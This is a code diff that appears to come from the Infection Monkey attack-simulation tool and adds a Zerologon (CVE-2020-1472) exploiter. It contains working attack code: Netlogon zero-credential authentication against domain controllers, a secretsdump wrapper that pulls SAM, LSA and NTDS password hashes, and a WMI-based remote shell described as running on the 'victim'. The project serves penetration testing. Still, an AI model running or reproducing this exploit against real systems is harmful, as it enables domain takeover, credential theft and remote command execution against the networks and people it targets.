|
||||
self.__bootkey = options.bootkey
|
||||
self.__security_hive = options.security
|
||||
self.__sam_hive = options.sam
|
||||
self.__ntds_file = options.ntds
|
||||
self.__no_lmhash = options.no_lmhash
|
||||
self.__is_remote = options.is_remote
|
||||
self.__do_kerberos = options.k
|
||||
self.__just_DC = options.just_dc
|
||||
self.__just_DC_NTLM = options.just_dc_ntlm
|
||||
self.__can_process_SAM_LSA = options.can_process_SAM_LSA
|
||||
self.__kdc_host = options.dc_ip
|
||||
self.__options = options
|
||||
|
||||
if options.hashes is not None:
|
||||
self.__lmhash, self.__nthash = options.hashes.split(":")
|
||||
|
||||
def connect(self):
|
||||
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
||||
self.__smb_connection.login(
|
||||
self.__username,
|
||||
self.__password,
|
||||
self.__domain,
|
||||
self.__lmhash,
|
||||
self.__nthash,
|
||||
)
|
||||
|
||||
def dump(self): # noqa: C901
|
||||
with StdoutCapture() as output_captor:
|
||||
dumped_secrets = ""
|
||||
|
||||
try:
|
||||
if self.__remote_name.upper() == "LOCAL" and self.__username == "":
|
||||
self.__is_remote = False
|
||||
self.__use_VSS_method = True
|
||||
if self.__system_hive:
|
||||
local_operations = LocalOperations(self.__system_hive)
|
||||
bootkey = local_operations.getBootKey()
|
||||
if self.__ntds_file is not None:
|
||||
# Let's grab target's configuration about LM Hashes storage.
|
||||
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||
else:
|
||||
import binascii
|
||||
|
||||
bootkey = binascii.unhexlify(self.__bootkey)
|
||||
|
||||
else:
|
||||
self.__is_remote = True
|
||||
bootkey = None
|
||||
try:
|
||||
try:
|
||||
self.connect()
|
||||
except Exception as e:
|
||||
if (
|
||||
os.getenv("KRB5CCNAME") is not None
|
||||
and self.__do_kerberos is True
|
||||
):
|
||||
# SMBConnection failed. That might be because there was no way to log into the
|
||||
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||
# will work
|
||||
LOG.debug(
|
||||
"SMBConnection didn't work, hoping Kerberos will help (%s)"
|
||||
% str(e)
|
||||
)
|
||||
else:
|
||||
raise
|
||||
|
||||
self.__remote_ops = RemoteOperations(
|
||||
self.__smb_connection, self.__do_kerberos, self.__kdc_host
|
||||
)
|
||||
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
||||
if (
|
||||
self.__just_DC is False
|
||||
and self.__just_DC_NTLM is False
|
||||
or self.__use_VSS_method is True
|
||||
):
|
||||
self.__remote_ops.enableRegistry()
|
||||
bootkey = self.__remote_ops.getBootKey()
|
||||
# Let's check whether target system stores LM Hashes.
|
||||
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||
except Exception as e:
|
||||
self.__can_process_SAM_LSA = False
|
||||
if (
|
||||
str(e).find("STATUS_USER_SESSION_DELETED")
|
||||
and os.getenv("KRB5CCNAME") is not None
|
||||
and self.__do_kerberos is True
|
||||
):
|
||||
# Giving some hints here when SPN target name validation is set to something different to Off.
|
||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
||||
LOG.error(
|
||||
"Policy SPN target name validation might be restricting full DRSUAPI dump."
|
||||
+ "Try -just-dc-user"
|
||||
)
|
||||
else:
|
||||
LOG.error("RemoteOperations failed: %s" % str(e))
|
||||
|
||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||
if (
|
||||
self.__just_DC is False
|
||||
and self.__just_DC_NTLM is False
|
||||
and self.__can_process_SAM_LSA
|
||||
):
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
SAM_file_name = self.__remote_ops.saveSAM()
|
||||
else:
|
||||
SAM_file_name = self.__sam_hive
|
||||
|
||||
self.__SAM_hashes = SAMHashes(
|
||||
SAM_file_name, bootkey, isRemote=self.__is_remote
|
||||
)
|
||||
self.__SAM_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.error("SAM hashes extraction failed: %s" % str(e))
|
||||
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
||||
else:
|
||||
SECURITY_file_name = self.__security_hive
|
||||
|
||||
self.__LSA_secrets = LSASecrets(
|
||||
SECURITY_file_name,
|
||||
bootkey,
|
||||
self.__remote_ops,
|
||||
isRemote=self.__is_remote,
|
||||
)
|
||||
self.__LSA_secrets.dumpCachedHashes()
|
||||
self.__LSA_secrets.dumpSecrets()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error("LSA hashes extraction failed: %s" % str(e))
|
||||
|
||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
||||
if self.__is_remote is True:
|
||||
if self.__use_VSS_method and self.__remote_ops is not None:
|
||||
NTDS_file_name = self.__remote_ops.saveNTDS()
|
||||
else:
|
||||
NTDS_file_name = None
|
||||
else:
|
||||
NTDS_file_name = self.__ntds_file
|
||||
|
||||
self.__NTDS_hashes = NTDSHashes(
|
||||
NTDS_file_name,
|
||||
bootkey,
|
||||
isRemote=self.__is_remote,
|
||||
noLMHash=self.__no_lmhash,
|
||||
remoteOps=self.__remote_ops,
|
||||
useVSSMethod=self.__use_VSS_method,
|
||||
justNTLM=self.__just_DC_NTLM,
|
||||
)
|
||||
try:
|
||||
self.__NTDS_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
|
||||
# We don't store the resume file if this error happened, since this error is related to lack
|
||||
# of enough privileges to access DRSUAPI.
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
LOG.error(e)
|
||||
if self.__use_VSS_method is False:
|
||||
LOG.error(
|
||||
"Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter"
|
||||
)
|
||||
self.cleanup()
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error(e)
|
||||
if self.__NTDS_hashes is not None:
|
||||
if isinstance(e, KeyboardInterrupt):
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
try:
|
||||
self.cleanup()
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
dumped_secrets = (
|
||||
output_captor.get_captured_stdout_output()
|
||||
) # includes hashes and kerberos keys
|
||||
return dumped_secrets
|
||||
|
||||
def cleanup(self):
|
||||
LOG.debug("Cleaning up...")
|
||||
if self.__remote_ops:
|
||||
self.__remote_ops.finish()
|
||||
if self.__SAM_hashes:
|
||||
self.__SAM_hashes.finish()
|
||||
if self.__LSA_secrets:
|
||||
self.__LSA_secrets.finish()
|
||||
if self.__NTDS_hashes:
|
||||
self.__NTDS_hashes.finish()
|
|
@ -0,0 +1,47 @@
|
|||
from dataclasses import dataclass
|
||||
|
||||
|
||||
@dataclass()
|
||||
class OptionsForSecretsdump:
|
||||
bootkey = None
|
||||
can_process_SAM_LSA = True
|
||||
dc_ip = None
|
||||
debug = False
|
||||
exec_method = "smbexec"
|
||||
hashes = None
|
||||
is_remote = True
|
||||
just_dc = True
|
||||
just_dc_ntlm = False
|
||||
k = False
|
||||
keytab = None
|
||||
no_lmhash = True
|
||||
no_pass = True
|
||||
ntds = None
|
||||
sam = None
|
||||
security = None
|
||||
system = None
|
||||
target = None
|
||||
target_ip = None
|
||||
ts = False
|
||||
use_vss = False
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
dc_ip=None,
|
||||
just_dc=True,
|
||||
sam=None,
|
||||
security=None,
|
||||
system=None,
|
||||
target=None,
|
||||
target_ip=None,
|
||||
):
|
||||
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py
|
||||
self.dc_ip = dc_ip
|
||||
# just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py
|
||||
self.just_dc = just_dc
|
||||
self.sam = sam
|
||||
self.security = security
|
||||
self.system = system
|
||||
# target and target_ip are assigned in get_admin_pwd_hashes() in ../zerologon.py
|
||||
self.target = target
|
||||
self.target_ip = target_ip
|
|
@ -0,0 +1,178 @@
|
|||
# Copyright (c) 2000 SecureAuth Corporation. All rights
|
||||
# reserved.
|
||||
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions
|
||||
# are met:
|
||||
|
||||
# 1. Redistributions of source code must retain the above copyright
|
||||
# notice, this list of conditions and the following disclaimer.
|
||||
|
||||
# 2. Redistributions in binary form must reproduce the above copyright
|
||||
# notice, this list of conditions and the following disclaimer in
|
||||
# the documentation and/or other materials provided with the
|
||||
# distribution.
|
||||
|
||||
# 3. The end-user documentation included with the redistribution,
|
||||
# if any, must include the following acknowledgment:
|
||||
# "This product includes software developed by
|
||||
# SecureAuth Corporation (https://www.secureauth.com/)."
|
||||
# Alternately, this acknowledgment may appear in the software itself,
|
||||
# if and wherever such third-party acknowledgments normally appear.
|
||||
|
||||
# 4. The names "Impacket", "SecureAuth Corporation" must
|
||||
# not be used to endorse or promote products derived from this
|
||||
# software without prior written permission. For written
|
||||
# permission, please contact oss@secureauth.com.
|
||||
|
||||
# 5. Products derived from this software may not be called "Impacket",
|
||||
# nor may "Impacket" appear in their name, without prior written
|
||||
# permission of SecureAuth Corporation.
|
||||
|
||||
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
# SUCH DAMAGE.
|
||||
|
||||
|
||||
import cmd
|
||||
import logging
|
||||
import ntpath
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
# Used to start remote shell on victim
|
||||
class RemoteShell(cmd.Cmd):
|
||||
CODEC = sys.stdout.encoding
|
||||
|
||||
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__output = "\\" + outputFilename
|
||||
self.__outputBuffer = str("")
|
||||
self.__shell = "cmd.exe /Q /c "
|
||||
self.__win32Process = win32Process
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = str("C:\\")
|
||||
self.__noOutput = False
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
self.do_cd("\\")
|
||||
else:
|
||||
self.__noOutput = True
|
||||
|
||||
def do_get(self, src_path):
|
||||
try:
|
||||
import ntpath
|
||||
|
||||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||
drive, tail = ntpath.splitdrive(newPath)
|
||||
filename = ntpath.basename(tail)
|
||||
local_file_path = os.path.join(
|
||||
os.path.expanduser("~"), "monkey-" + filename
|
||||
)
|
||||
fh = open(local_file_path, "wb")
|
||||
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
|
||||
fh.close()
|
||||
except Exception as e:
|
||||
LOG.error(str(e))
|
||||
if os.path.exists(local_file_path):
|
||||
os.remove(local_file_path)
|
||||
|
||||
def do_exit(self, s):
|
||||
return True
|
||||
|
||||
def do_cd(self, s):
|
||||
self.execute_remote("cd " + s)
|
||||
if len(self.__outputBuffer.strip("\r\n")) > 0:
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ""
|
||||
else:
|
||||
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||
self.execute_remote("cd ")
|
||||
self.__pwd = self.__outputBuffer.strip("\r\n")
|
||||
self.prompt = self.__pwd + ">"
|
||||
self.__outputBuffer = ""
|
||||
|
||||
def default(self, line):
|
||||
# Let's try to guess if the user is trying to change drive.
|
||||
if len(line) == 2 and line[1] == ":":
|
||||
# Execute the command and see if the drive is valid.
|
||||
self.execute_remote(line)
|
||||
if len(self.__outputBuffer.strip("\r\n")) > 0:
|
||||
# Something went wrong.
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ""
|
||||
else:
|
||||
# Drive valid, now we should get the current path.
|
||||
self.__pwd = line
|
||||
self.execute_remote("cd ")
|
||||
self.__pwd = self.__outputBuffer.strip("\r\n")
|
||||
self.prompt = self.__pwd + ">"
|
||||
self.__outputBuffer = ""
|
||||
else:
|
||||
if line != "":
|
||||
self.send_data(line)
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
try:
|
||||
self.__outputBuffer += data.decode(self.CODEC)
|
||||
except UnicodeDecodeError:
|
||||
LOG.error(
|
||||
"Decoding error detected, consider running chcp.com at the target,\nmap the result with "
|
||||
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py "
|
||||
"again with -codec and the corresponding codec"
|
||||
)
|
||||
self.__outputBuffer += data.decode(self.CODEC, errors="replace")
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__transferClient.getFile(
|
||||
self.__share, self.__output, output_callback
|
||||
)
|
||||
break
|
||||
except Exception as e:
|
||||
if str(e).find("STATUS_SHARING_VIOLATION") >= 0:
|
||||
# Output not finished, let's wait.
|
||||
time.sleep(1)
|
||||
elif str(e).find("Broken") >= 0:
|
||||
# The SMB Connection might have timed out, let's try reconnecting.
|
||||
LOG.debug("Connection broken, trying to recreate it")
|
||||
self.__transferClient.reconnect()
|
||||
return self.get_output()
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + data
|
||||
if self.__noOutput is False:
|
||||
command += (
|
||||
" 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1"
|
||||
)
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ""
|
|
@ -0,0 +1,92 @@
|
|||
import logging
|
||||
from typing import Optional
|
||||
|
||||
import nmb.NetBIOS
|
||||
from impacket.dcerpc.v5 import nrpc, rpcrt
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def get_dc_details(host: object) -> (str, str, str):
|
||||
dc_ip = host.ip_addr
|
||||
dc_name = _get_dc_name(dc_ip=dc_ip)
|
||||
dc_handle = "\\\\" + dc_name
|
||||
return dc_ip, dc_name, dc_handle
|
||||
|
||||
|
||||
def _get_dc_name(dc_ip: str) -> str:
|
||||
"""
|
||||
Gets NetBIOS name of the Domain Controller (DC).
|
||||
"""
|
||||
try:
|
||||
nb = nmb.NetBIOS.NetBIOS()
|
||||
name = nb.queryIPForName(
|
||||
ip=dc_ip
|
||||
) # returns either a list of NetBIOS names or None
|
||||
return name[0] if name else ""
|
||||
except BaseException as ex:
|
||||
LOG.info(f"Exception: {ex}")
|
||||
|
||||
|
||||
def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v5]):
|
||||
# Connect to the DC's Netlogon service.
|
||||
try:
|
||||
rpc_con = zerologon_exploiter_object.connect_to_dc(zerologon_exploiter_object.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return False, None
|
||||
|
||||
# Try authenticating.
|
||||
for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS):
|
||||
try:
|
||||
rpc_con_auth_result = _try_zero_authenticate(
|
||||
zerologon_exploiter_object, rpc_con
|
||||
)
|
||||
if rpc_con_auth_result is not None:
|
||||
return True, rpc_con_auth_result
|
||||
except Exception as ex:
|
||||
LOG.info(ex)
|
||||
return False, None
|
||||
|
||||
return False, None
|
||||
|
||||
|
||||
def _try_zero_authenticate(
|
||||
zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5
|
||||
) -> rpcrt.DCERPC_v5:
|
||||
plaintext = b"\x00" * 8
|
||||
ciphertext = b"\x00" * 8
|
||||
flags = 0x212FFFFF
|
||||
|
||||
# Send challenge and authentication request.
|
||||
nrpc.hNetrServerReqChallenge(
|
||||
rpc_con,
|
||||
zerologon_exploiter_object.dc_handle + "\x00",
|
||||
zerologon_exploiter_object.dc_name + "\x00",
|
||||
plaintext,
|
||||
)
|
||||
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con,
|
||||
zerologon_exploiter_object.dc_handle + "\x00",
|
||||
zerologon_exploiter_object.dc_name + "$\x00",
|
||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
zerologon_exploiter_object.dc_name + "\x00",
|
||||
ciphertext,
|
||||
flags,
|
||||
)
|
||||
|
||||
assert server_auth["ErrorCode"] == 0
|
||||
return rpc_con
|
||||
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
if (
|
||||
ex.get_error_code() == 0xC0000022
|
||||
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||
pass
|
||||
else:
|
||||
raise Exception(f"Unexpected error code: {ex.get_error_code()}.")
|
||||
|
||||
except BaseException as ex:
|
||||
raise Exception(f"Unexpected error: {ex}.")
|
|
@ -0,0 +1,120 @@
|
|||
# Copyright (c) 2000 SecureAuth Corporation. All rights
|
||||
# reserved.
|
||||
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions
|
||||
# are met:
|
||||
|
||||
# 1. Redistributions of source code must retain the above copyright
|
||||
# notice, this list of conditions and the following disclaimer.
|
||||
|
||||
# 2. Redistributions in binary form must reproduce the above copyright
|
||||
# notice, this list of conditions and the following disclaimer in
|
||||
# the documentation and/or other materials provided with the
|
||||
# distribution.
|
||||
|
||||
# 3. The end-user documentation included with the redistribution,
|
||||
# if any, must include the following acknowledgment:
|
||||
# "This product includes software developed by
|
||||
# SecureAuth Corporation (https://www.secureauth.com/)."
|
||||
# Alternately, this acknowledgment may appear in the software itself,
|
||||
# if and wherever such third-party acknowledgments normally appear.
|
||||
|
||||
# 4. The names "Impacket", "SecureAuth Corporation" must
|
||||
# not be used to endorse or promote products derived from this
|
||||
# software without prior written permission. For written
|
||||
# permission, please contact oss@secureauth.com.
|
||||
|
||||
# 5. Products derived from this software may not be called "Impacket",
|
||||
# nor may "Impacket" appear in their name, without prior written
|
||||
# permission of SecureAuth Corporation.
|
||||
|
||||
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
# SUCH DAMAGE.
|
||||
|
||||
|
||||
import logging
|
||||
import time
|
||||
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
# Used to get HKLM keys for restoring original DC password
|
||||
class Wmiexec:
|
||||
OUTPUT_FILENAME = "__" + str(time.time())
|
||||
|
||||
def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"):
|
||||
self.__ip = ip
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash, self.__nthash = hashes.split(":")
|
||||
self.__share = share
|
||||
self.shell = None
|
||||
|
||||
def connect(self):
|
||||
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||
self.smbConnection.login(
|
||||
user=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash,
|
||||
)
|
||||
|
||||
self.dcom = DCOMConnection(
|
||||
target=self.__ip,
|
||||
username=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash,
|
||||
oxidResolver=True,
|
||||
)
|
||||
|
||||
try:
|
||||
iInterface = self.dcom.CoCreateInstanceEx(
|
||||
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
|
||||
)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
self.iWbemServices = iWbemLevel1Login.NTLMLogin(
|
||||
"//./root/cimv2", NULL, NULL
|
||||
)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.error(str(e))
|
||||
self.smbConnection.logoff()
|
||||
self.dcom.disconnect()
|
||||
|
||||
def get_remote_shell(self):
|
||||
self.connect()
|
||||
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
|
||||
self.shell = RemoteShell(
|
||||
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
|
||||
)
|
||||
return self.shell
|
||||
|
||||
def close(self):
|
||||
self.smbConnection.close()
|
||||
self.smbConnection = None
|
||||
self.dcom.disconnect()
|
||||
self.dcom = None
|
|
@ -204,7 +204,8 @@ class InfectionMonkey(object):
|
|||
if self.try_exploiting(machine, exploiter):
|
||||
host_exploited = True
|
||||
VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
|
||||
break
|
||||
if exploiter.RUNS_AGENT_ON_SUCCESS:
|
||||
break # if adding machine to exploited, won't try other exploits on it
|
||||
if not host_exploited:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send()
|
||||
|
@ -346,14 +347,14 @@ class InfectionMonkey(object):
|
|||
try:
|
||||
result = exploiter.exploit_host()
|
||||
if result:
|
||||
self.successfully_exploited(machine, exploiter)
|
||||
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||
return True
|
||||
else:
|
||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||
except ExploitingVulnerableMachineError as exc:
|
||||
LOG.error("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
self.successfully_exploited(machine, exploiter)
|
||||
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
|
||||
return True
|
||||
except FailedExploitationError as e:
|
||||
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
|
||||
|
@ -364,13 +365,14 @@ class InfectionMonkey(object):
|
|||
exploiter.send_exploit_telemetry(result)
|
||||
return False
|
||||
|
||||
def successfully_exploited(self, machine, exploiter):
|
||||
def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True):
|
||||
"""
|
||||
Workflow of registering successfully exploited machine
|
||||
:param machine: machine that was exploited
|
||||
:param exploiter: exploiter that succeeded
|
||||
"""
|
||||
self._exploited_machines.add(machine)
|
||||
if RUNS_AGENT_ON_SUCCESS:
|
||||
self._exploited_machines.add(machine)
|
||||
|
||||
LOG.info("Successfully propagated to %s using %s",
|
||||
machine, exploiter.__class__.__name__)
|
||||
|
|
|
@ -1,109 +0,0 @@
|
|||
"""
|
||||
Implementation from https://github.com/SecuraBV/CVE-2020-1472
|
||||
"""
|
||||
|
||||
import logging
|
||||
|
||||
import nmb.NetBIOS
|
||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||
|
||||
from infection_monkey.network.HostFinger import HostFinger
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class WindowsServerFinger(HostFinger):
|
||||
# Class related consts
|
||||
MAX_ATTEMPTS = 2000
|
||||
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
|
||||
|
||||
def get_host_fingerprint(self, host):
|
||||
"""
|
||||
Checks if the Windows Server is vulnerable to Zerologon.
|
||||
"""
|
||||
|
||||
DC_IP = host.ip_addr
|
||||
DC_NAME = self.get_dc_name(DC_IP)
|
||||
|
||||
if DC_NAME: # if it is a Windows DC
|
||||
# Keep authenticating until successful.
|
||||
# Expected average number of attempts needed: 256.
|
||||
# Approximate time taken by 2000 attempts: 40 seconds.
|
||||
DC_HANDLE = '\\\\' + DC_NAME
|
||||
|
||||
LOG.info('Performing Zerologon authentication attempts...')
|
||||
rpc_con = None
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
try:
|
||||
rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
|
||||
if rpc_con is not None:
|
||||
break
|
||||
except Exception as ex:
|
||||
LOG.info(ex)
|
||||
break
|
||||
|
||||
self.init_service(host.services, self._SCANNED_SERVICE, '')
|
||||
|
||||
if rpc_con:
|
||||
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
|
||||
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
|
||||
return True
|
||||
else:
|
||||
LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
|
||||
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
|
||||
return False
|
||||
|
||||
else:
|
||||
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
||||
return False
|
||||
|
||||
def get_dc_name(self, DC_IP):
|
||||
"""
|
||||
Gets NetBIOS name of the Domain Controller (DC).
|
||||
"""
|
||||
|
||||
try:
|
||||
nb = nmb.NetBIOS.NetBIOS()
|
||||
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
|
||||
return name[0] if name else None
|
||||
except BaseException as ex:
|
||||
LOG.info(f'Exception: {ex}')
|
||||
|
||||
def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
|
||||
# Connect to the DC's Netlogon service.
|
||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
|
||||
# Use an all-zero challenge and credential.
|
||||
plaintext = b'\x00' * 8
|
||||
ciphertext = b'\x00' * 8
|
||||
|
||||
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
|
||||
flags = 0x212fffff
|
||||
|
||||
# Send challenge and authentication request.
|
||||
nrpc.hNetrServerReqChallenge(
|
||||
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
|
||||
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con, DC_HANDLE + '\x00', DC_NAME +
|
||||
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
DC_NAME + '\x00', ciphertext, flags
|
||||
)
|
||||
|
||||
# It worked!
|
||||
assert server_auth['ErrorCode'] == 0
|
||||
return rpc_con
|
||||
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||
pass
|
||||
else:
|
||||
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
|
||||
|
||||
except BaseException as ex:
|
||||
raise Exception(f'Unexpected error: {ex}.')
|
|
@ -0,0 +1,18 @@
|
|||
import io
|
||||
import sys
|
||||
|
||||
|
||||
class StdoutCapture:
|
||||
def __enter__(self) -> None:
|
||||
self._orig_stdout = sys.stdout
|
||||
self._new_stdout = io.StringIO()
|
||||
sys.stdout = self._new_stdout
|
||||
return self
|
||||
|
||||
